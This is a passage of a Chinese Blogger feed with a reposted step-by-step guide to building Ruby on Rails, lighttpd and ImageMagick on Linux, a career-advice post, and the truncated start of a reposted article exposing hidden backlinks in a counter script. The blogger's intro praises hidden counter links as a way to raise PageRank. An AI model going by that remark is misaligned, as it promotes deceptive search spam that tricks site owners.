&lt;div&gt; &lt;/div&gt; &lt;div&gt;对于页面输出，还可以使用mod_deflate进行输出内容压缩，以提高页面下载速度，这个就留给大家自己配置了。&lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-3055756204428919889?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.javaeye.com/topic/43290' title='在Windows平台使用Apache2.2和Mongrel运行Ruby on Rails-rails-Ruby'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/3055756204428919889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=3055756204428919889' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3055756204428919889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3055756204428919889'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/windowsapache22mongrelruby-on-rails.html' title='在Windows平台使用Apache2.2和Mongrel运行Ruby on Rails-rails-Ruby'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-6304436502614332701</id><published>2007-02-13T13:06:00.000+08:00</published><updated>2007-02-13T13:08:13.986+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Develop'/><title type='text'>在Linux平台上安装和配置Ruby on Rails详解-rails-Ruby</title><content type='html'>没重要事干，所以上网到处逛，转载点东西。&lt;br /&gt;&lt;br /&gt;原文：&lt;a href="http://www.javaeye.com/topic/43228"&gt;在Linux平台上安装和配置Ruby on Rails详解-rails-Ruby&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;ruby on rails推荐的生产运行环境是Linux/FreeBSD/Unix，即Unix系列的操作系统，采用lighttpd＋FCGI的解决方案。以下我将 以Linux操作系统，lighttpd＋FCGI，MySQL数据库为例，从源代码编译安装开始讲解。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;在安装之前，应该确认Linux操作系统已经安装好gcc编译器，否则请用Linux安装光盘先行安装gcc编译器：&lt;/div&gt; &lt;div&gt;&lt;span&gt;gcc –v &lt;/span&gt;&lt;/div&gt; &lt;div&gt;如能返回gcc版本号，则gcc正确安装。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;一、安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;解析器&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;一些Linux发行版本，MacOSX操作系统都自带Ruby解析器，但是我仍然建议自行下载ruby源代码编译安装。因为一方面可以自己定制ruby安装的路径，另一方面可以在编译过程中自行添加更多的特性。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;ruby的源代码可以从Ruby官方网站下载：&lt;/div&gt; &lt;div&gt;&lt;a href="http://www.ruby-lang.org/en/downloads/"&gt;http://www.ruby-lang.org/en/downloads/&lt;/a&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;下载源代码包到本地Linux主机，然后解压缩，进入该目录，进行配置，编译和安装：&lt;/div&gt; &lt;div&gt;&lt;span&gt;tar xzvf ruby-1.8.5.tar.gz&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cd ruby-1.8.5&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;./configure –prefix=/usr/local/ruby&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;make &amp;&amp;amp; make install&lt;/span&gt;&lt;/div&gt; &lt;div&gt;如果想浏览所有的configure参数，可以：&lt;/div&gt; &lt;div&gt;&lt;span&gt;./configure –help |more&lt;/span&gt;&lt;/div&gt; &lt;div&gt;如果不定制安装的目录，默认将安装到/usr/local目录下面。然而我建议自行定制一个ruby的安装目录，例如/usr/local/ruby，这样便于以后的升级，不会和操作系统其他软件混在一起。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;安装好以后，修改操作系统PATH路径，加入/usr/local/ruby/bin：&lt;/div&gt; &lt;div&gt;&lt;span&gt;export PATH=/usr/local/ruby/bin:$PATH&lt;/span&gt;&lt;/div&gt; &lt;div&gt;将我们自己安装的ruby放在系统PATH前面，避免操作系统自带的ruby造成的干扰。在Linux上，一般将设置放在/etc/profile中，便于对全局生效。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;br /&gt;&lt;span class=fullpost&gt;&lt;br /&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;二、安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;ruby on rails&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;在安装rails之前，要先安装rubygems。rubygems是ruby的在线包管理工具，可以从rubyforge下载rubygems：&lt;/div&gt; &lt;div&gt;&lt;a href="http://rubyforge.org/projects/rubygems/"&gt;http://rubyforge.org/projects/rubygems/&lt;/a&gt;&lt;/div&gt; &lt;div&gt;下载好源代码包，解压缩，安装：&lt;/div&gt; &lt;div&gt;&lt;span&gt;tar xzvf rubygems-0.9.0.tgz&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cd rubygems-0.9.0/&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;ruby setup.rb&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;然后就可以安装rails了，在确认服务器已经连接互联网的情况下执行：&lt;/div&gt; &lt;div&gt;&lt;span&gt;gem install rails –y&lt;/span&gt;&lt;/div&gt; &lt;div&gt;即通过gem从rubyforge网站下载rails所有依赖包安装。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;安装好rails以后，可以执行：&lt;/div&gt; &lt;div&gt;&lt;span&gt;rails –v &lt;/span&gt;&lt;/div&gt; &lt;div&gt;确认一下rails的版本。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;三、安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;ruby&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;的数据库适配器&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;rails发行包中已经自带纯ruby的MySQL数据库适配器，然而对于生产环境来说，我们仍然应该下载安装C版本的数据库适配器，以达到更好的性能。下载mysql-ruby-2.7.3.tar.gz：&lt;/div&gt; &lt;div&gt;&lt;a href="http://www.tmtm.org/en/mysql/ruby/"&gt;http://www.tmtm.org/en/mysql/ruby/&lt;/a&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;tar xzvf mysql-ruby-2.7.3.tar.gz&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cd mysql-ruby-2.7.3&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;ruby extconf.rb --with-mysql-dir=/opt/mysql5 &lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;make &amp;&amp;amp; make install&lt;/span&gt;&lt;/div&gt; &lt;div&gt;注意--with-mysql-dir应该指向MySQL数据库的安装路径，如果数据库服务器和Web服务器不在同一台机器上，那么Web服务器上也必须安装MySQL软件，因为ruby的C版本MySQL适配器需要在编译的时候联接MySQL的系统库。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;四、安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;的&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;FCGI&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;支持&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;由于ruby的fcgi支持库需要在编译的时候联接FCGI的系统库，因此我们需要先安装FCGI库，下载FCGI源代码发行包：&lt;/div&gt; &lt;div&gt;&lt;a href="http://www.fastcgi.com/dist/"&gt;http://www.fastcgi.com/dist/&lt;/a&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;tar xzvf fcgi-2.4.0.tar.gz&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cd fcgi-2.4.0&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;./configure --prefix=/usr/local/fcgi&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;make &amp;&amp;amp; make install&lt;/span&gt;&lt;/div&gt; &lt;div&gt;同样，将fcgi安装在自己指定的目录下，而不是默认的/usr/local，避免多个软件混在一起。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;然后就可以安装ruby的fcgi支持库了，下载ruby-fcgi-0.8.7.tar.gz：&lt;/div&gt; &lt;div&gt;&lt;a href="http://rubyforge.org/projects/fcgi/"&gt;http://rubyforge.org/projects/fcgi/&lt;/a&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;tar xzvf ruby-fcgi-0.8.7.tar.gz&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cd ruby-fcgi-0.8.7&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;ruby install.rb config -- --with-fcgi-include=/usr/local/fcgi/include --with-fcgi-lib=/usr/local/fcgi/lib &lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;ruby install.rb setup&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;ruby install.rb install&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt;  &lt;div&gt;&lt;strong&gt;&lt;span&gt;五、安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;lighttpd Web Server&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;Lighttpd&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;在安装lighttpd之前，应该确认操作系统已经安装pcre，即Perl兼容的规则表达式库：&lt;/div&gt; &lt;div&gt;&lt;span&gt;rpm –qa |grep pcre&lt;/span&gt;&lt;/div&gt; &lt;div&gt;如果没有，请从Linux安装光盘里面安装。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;然后下载lighttpd：&lt;/div&gt; &lt;div&gt;&lt;a href="http://www.lighttpd.net/download/"&gt;http://www.lighttpd.net/download/&lt;/a&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;tar xzvf lighttpd-1.4.13.tar.gz&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cd lighttpd-1.4.13&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;./configure --prefix=/usr/local/lighttpd&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;configure完毕以后，会给出一个激活的模块和没有激活模块的清单，可以检查一下，是否自己需要的模块都已经激活，在enable的模块中一定要有“mod_rewrite”这一项，否则重新检查pcre是否安装。然后编译安装：&lt;/div&gt; &lt;div&gt;&lt;span&gt;make &amp;&amp;amp; make install &lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;编译后配置：&lt;/div&gt; &lt;div&gt;&lt;span&gt;cp doc/sysconfig.lighttpd /etc/sysconfig/lighttpd&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;mkdir /etc/lighttpd&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cp doc/lighttpd.conf /etc/lighttpd/lighttpd.conf&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;如果你的Linux是RedHat/CentOS，那么：&lt;/div&gt; &lt;div&gt;&lt;span&gt;cp doc/rc.lighttpd.redhat /etc/init.d/lighttpd&lt;/span&gt;&lt;/div&gt; &lt;div&gt;如果你的Linux是SuSE，那么：&lt;/div&gt; &lt;div&gt;&lt;span&gt;cp doc/rc.lighttpd /etc/init.d/lighttpd&lt;/span&gt;&lt;/div&gt; &lt;div&gt;其他Linux发行版本可以自行参考该文件内容进行修改。然后修改/etc/init.d/lighttpd，把&lt;/div&gt; &lt;div&gt;&lt;span&gt;LIGHTTPD_BIN=/usr/sbin/lighttpd&lt;/span&gt;&lt;/div&gt; &lt;div&gt;改为&lt;/div&gt; &lt;div&gt;&lt;span&gt;LIGHTTPD_BIN=/usr/local/lighttpd/sbin/lighttpd&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;此脚本用来控制lighttpd的启动关闭和重起：&lt;/div&gt; &lt;div&gt;&lt;span&gt;/etc/init.d/lighttpd start &lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;/etc/init.d/lighttpd stop &lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;/etc/init.d/lighttpd restart&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;如果你希望服务器启动的时候就启动lighttpd，那么：&lt;/div&gt; &lt;div&gt;&lt;span&gt;chkconfig lighttpd on&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;这样lighttpd就安装好了，接下来需要配置lighttpd。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;配置&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;Lighttpd&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;修改/etc/lighttpd/lighttpd.conf&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;1）server.modules&lt;/div&gt; &lt;div&gt;取消需要用到模块的注释，mod_rewrite，mod_access，mod_fastcgi，mod_simple_vhost，mod_cgi，mod_compress，mod_accesslog是一般需要用到的。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;2）server.document-root, server.error-log，accesslog.filename需要指定相应的目录&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;3）用什么权限来运行lighttpd&lt;/div&gt; &lt;div&gt;&lt;span&gt;server.username&lt;span&gt;            = "nobody"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;server.groupname&lt;span&gt;           = "nobody"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;从安全角度来说，不建议用root权限运行web server，可以自行指定普通用户权限。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;4）静态文件压缩&lt;/div&gt; &lt;div&gt;&lt;span&gt;compress.cache-dir&lt;span&gt;         = "/tmp/lighttpd/cache/compress"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;compress.filetype&lt;span&gt;          = ("text/plain", "text/html","text/javascript","text/css")&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;可以指定某些静态资源类型使用压缩方式传输，节省带宽，对于大量AJAX应用来说，可以极大提高页面加载速度。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;5）配置ruby on rails&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;最简单的配置如下：&lt;/div&gt; &lt;div&gt;&lt;span&gt;$HTTP["host"] == "www.xxx.com" {&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt; server.document-root = "/yourrails/public"&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt; server.error-handler-404 = "/dispatch.fcgi"&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt; fastcgi.server = (".fcgi" =&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;    ("localhost" =&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;      ("min-procs" =&gt; 10,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;       "max-procs" =&gt; 10,&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;       "socket" =&gt; "/tmp/lighttpd/socket/rails.socket",&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;       "bin-path" =&gt; "/yourrails/public/dispatch.fcgi",&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;       "bin-environment" =&gt; ("RAILS_ENV" =&gt; "production")&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;      )&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;&lt;span&gt;    )&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt; )&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt; &lt;div&gt;即由lighttpd启动10个FCGI进程，lighttpd和FCGI之间使用本机Unix Socket通信。&lt;/div&gt; &lt;div&gt; &lt;/div&gt;  &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;六、安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;ImageMagick&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;和&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;RMagic&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;RMagic是ruby处理图片需要用到的库，很多ruby应用由于都涉及图片处理的功能，往往需要依赖RMagic，但安装ImageMagick和RMagic相当烦琐，需要特别的说明。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;ImageMagick&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt;&lt;a href="http://www.imagemagick.org/"&gt;http://www.imagemagick.org&lt;/a&gt; &lt;/div&gt; &lt;div&gt;ImageMagick是用C语言实现的图形处理库，有Unix版本和Windows版本。对于Unix版本来说，安装比较麻烦些，另外不建议 安装ImageMagick二进制版本，往往会导致缺少某些图片处理功能，导致RMagic安装失败。下载ImageMagick源代码，解压缩，配置：&lt;/div&gt; &lt;div&gt;&lt;span&gt;tar xzvf ImageMagick-6.2.9-0.tar.gz&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;cd tar xzvf ImageMagick-6.2.9&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;./configure --prefix=/usr/local/ImageMagick&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;观察配置后给出来的支持图形格式，看看该图形格式支持是否是yes，如果不是，那么必须先安装该图形格式的本地库。例如，你应该检查是否已经安装如下rpm包：&lt;/div&gt; &lt;div&gt;&lt;span&gt;rpm –qa |grep libpng&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;rpm –qa |grep libpng-devel&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;rpm –qa |grep libjpeg&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;rpm –qa |grep gd-devel&lt;/span&gt;&lt;/div&gt; &lt;div&gt;如果你希望支持tiff格式，还应该检查&lt;/div&gt; &lt;div&gt;&lt;span&gt;rpm –qa |grep libtiff&lt;/span&gt;&lt;/div&gt; &lt;div&gt;如果没有安装，那么在Linux安装光盘找到相应rpm包安装上，再次configure直到确认需要的图形格式全部支持为止，然后编译安装：&lt;/div&gt; &lt;div&gt;&lt;span&gt;make &amp;&amp;amp; make install&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;由于ImageMagic被安装在我们自行指定的/usr/local/ImageMagick，后面安装RMagic会找不到需要用到的ImageMagic的命令和库，因此需要配置一下操作系统：&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;编辑/etc/profile里面的PATH环境变量，在最后面加入：&lt;/div&gt; &lt;div&gt;&lt;span&gt;export PATH=/usr/local/ruby/bin:/usr/local/ImageMagick/bin:$PATH&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;编辑/etc/ld.so.conf，加入：&lt;/div&gt; &lt;div&gt;&lt;span&gt;/usr/local/ImageMagick/lib&lt;/span&gt;&lt;/div&gt; &lt;div&gt;执行命令：&lt;/div&gt; &lt;div&gt;&lt;span&gt;ldconfig&lt;/span&gt;&lt;/div&gt; &lt;div&gt;将ImageMagick的库加入系统联接库&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;然后注销当前用户重新登录，便于环境变量修改生效，执行：&lt;/div&gt; &lt;div&gt;&lt;span&gt;convert logo: logo.gif&lt;/span&gt;&lt;/div&gt; &lt;div&gt;看是否正确生成一个logo.gif的图片文件。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;&lt;span&gt;安装&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;RMagic&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt; &lt;div&gt;&lt;a href="http://rubyforge.org/projects/rmagick/"&gt;http://rubyforge.org/projects/rmagick/&lt;/a&gt;&lt;/div&gt; &lt;div&gt;在rubyfoge上面下载RMagic的源代码发行包，不要下载gem包，然后解压缩编译：&lt;/div&gt; &lt;div&gt;&lt;span&gt;./configure &lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span&gt;make &amp;&amp;amp; make install&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;如果配置和编译过程没有报错，即大功告成。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;对于MacOSX来说，安装RMagic以上步骤会出错，请参考：&lt;/div&gt; &lt;div&gt;&lt;a href="http://rmagick.rubyforge.org/install-osx.html"&gt;http://rmagick.rubyforge.org/install-osx.html&lt;/a&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;总体来说，ImageMagick和RMagic的安装很容易出错，安装起来比较困难，如果碰到无法解决的问题，可以通过Google寻求解决办法。&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-6304436502614332701?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.javaeye.com/topic/43228' title='在Linux平台上安装和配置Ruby on Rails详解-rails-Ruby'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/6304436502614332701/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=6304436502614332701' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6304436502614332701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6304436502614332701'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/linuxruby-on-rails-rails-ruby.html' title='在Linux平台上安装和配置Ruby on Rails详解-rails-Ruby'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-1770764743900079949</id><published>2007-02-13T12:15:00.000+08:00</published><updated>2007-02-13T12:22:49.679+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><category scheme='http://www.blogger.com/atom/ns#' term='IT'/><title type='text'>35 岁前程序员要规划好的四件事</title><content type='html'>&lt;span&gt;说了四点：&lt;br /&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;&lt;span&gt;照顾好自己的健康&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;学会投资理财&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;经营你的人脉&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;培养广泛的兴趣&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span&gt;&lt;br /&gt;健康很重要，嗯。虽然工作半年了一点都没有长胖，但老熬夜不好，直接导致我每天早上9点才去上班。好像在学校天天熬夜都没这么累。&lt;br /&gt;第二个理财嘛，看了看基金啥的，也嫌太麻烦了。至于人脉嘛，似乎还没考虑过。。。 不过兴趣倒是很广泛，但太广泛了导致都没有深入~~&lt;br /&gt;除了上面的我觉得还有一点，就是要充满活力，积极向上，不满足于现状。如果一个人感到满足了，就可能开始堕落了，我好像就有点堕落了。。。&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-1770764743900079949?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.csdn.net/oiio/archive/2007/02/12/1508001.aspx' title='35 岁前程序员要规划好的四件事'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/1770764743900079949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=1770764743900079949' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/1770764743900079949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/1770764743900079949'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/35.html' title='35 岁前程序员要规划好的四件事'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-8123485543017532139</id><published>2007-02-13T10:36:00.000+08:00</published><updated>2007-02-13T10:47:49.568+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='IT'/><title type='text'>Search Spam: Hidden Counter Links</title><content type='html'>It's a good way to rise you site's Page Rank. Maybe google, yahoo, etc. will block this in future. The following is copied from blog.outer-court.com.&lt;br /&gt;&lt;p&gt;ArteLight.de is a German online shop for lamps. At the moment, their PageRank 6 homepage is ranking #1 in Google.de for both “&lt;a href="http://www.google.de/search?hl=de&amp;q=lampen"&gt;Lampen&lt;/a&gt;” and “Leuchten”, the German words for “lamps.”&lt;/p&gt;  &lt;p&gt;Did ArteLight achieve this Google position through great products alone? It doesn’t look like it. Not only are they available as “partner links” or “link tips” on otherwise unrelated sites like BusinessMagazin.info, Coding-Net.de or Bildmitteilung.info (this looks like a large text link ads campaign). The owner of ArteLight, Marcin Nolte, has another site of his – the free LogStats.de – which provides a site counter service. Now take a look at the counter code and check if you notice anything unusual (user ID removed, colorized):&lt;/p&gt;  &lt;p style="padding: 2px; font-size: 90%; background-color: rgb(238, 238, 238);"&gt; &lt;img alt="Logstats" id="image114" src="http://google.blogoscoped.cn/wp-content/uploads/2007/02/logstats.jpg" /&gt;&lt;/p&gt; &lt;!-- Logstats Counter Code --&gt;As you can see, LogStats (a service with 9,531 members, according to owner company Nolte Internet from Herford) is a little more than just a visitor counter – it’s also a convenient way to trick sites into pimping ArteLight’s lamps through a backlink contained in the &lt;em&gt;noscript&lt;/em&gt; part of the counter code. Of course, the link is not completely hidden: it will be painfully visible to every webmaster taking the time to read through the counter code. However, the link will not show on the rendered page with typical browser settings, and users also aren’t visibly warned of the fact they’re part of a link building campaign for designer lamps.  &lt;p&gt;Some additional irony: when you sign up for LogStats.de, the terms of service emphasize that you are not allowed to include the c&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-8123485543017532139?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.outer-court.com/archive/2007-02-12-n26.html' title='Search Spam: Hidden Counter Links'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/8123485543017532139/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=8123485543017532139' title='0 Comments'/><link rel='edit' type='application/atom+xml' 